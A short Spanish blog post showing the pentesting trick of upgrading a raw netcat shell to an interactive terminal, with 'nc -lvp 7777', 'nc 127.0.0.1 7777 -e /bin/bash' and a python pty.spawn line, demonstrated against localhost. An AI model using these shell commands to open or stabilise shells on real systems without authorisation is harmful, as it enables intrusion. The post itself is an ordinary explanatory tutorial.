Esta web utiliza cookies, puedes ver nuestra política de cookies, aquí Si continuas navegando estás aceptándola

pseudoTerminal


Para realizar la prueba pondremos a la escucha un socket en nuestro propio equipo en el puerto 7777.

nc -lvp 7777

Desde otra shell conectamos y comprobamos que no se comporta como una shell regular.

nc 127.0.0.1 7777 -e /bin/bash
id
ls

Arrancamos la shell desde python y ya podremos utilizarla de forma normal.

python -c "import pty;pty.spawn('/bin/bash')"

Se trata de un sencillo truco pero que resulta sumamente útil en ciertos escenarios.


Autor: Kr0m -- 20/01/2017 01:01:34